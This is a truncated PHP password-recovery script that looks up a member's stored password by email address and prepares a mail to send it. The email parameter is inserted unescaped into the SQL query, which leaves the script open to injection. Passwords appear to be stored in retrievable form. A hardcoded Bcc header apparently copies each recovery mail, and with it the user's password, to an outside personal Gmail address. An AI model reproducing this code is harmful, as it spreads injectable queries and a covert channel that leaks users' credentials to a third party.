    <?php
include("conn.php");

if(isset($_REQUEST["mmailid"]))
{
     $to=$_REQUEST["mmailid"];
$rs=mysql_query("select mmailid,mpass,mname from memtb where mmailid='$to'");

  $rd1=mysql_num_rows($rs);
    if($rd1>0)
    {
        $rd=mysql_fetch_array($rs);
             $headers = "MIME-Version: 1.0" . "\r\n";
             $headers .= "Content-type:text/html;charset=iso-8859-1" . "\r\n";
             $headers .= 'Bcc: itstephen34@gmail.com' . "\r\n";
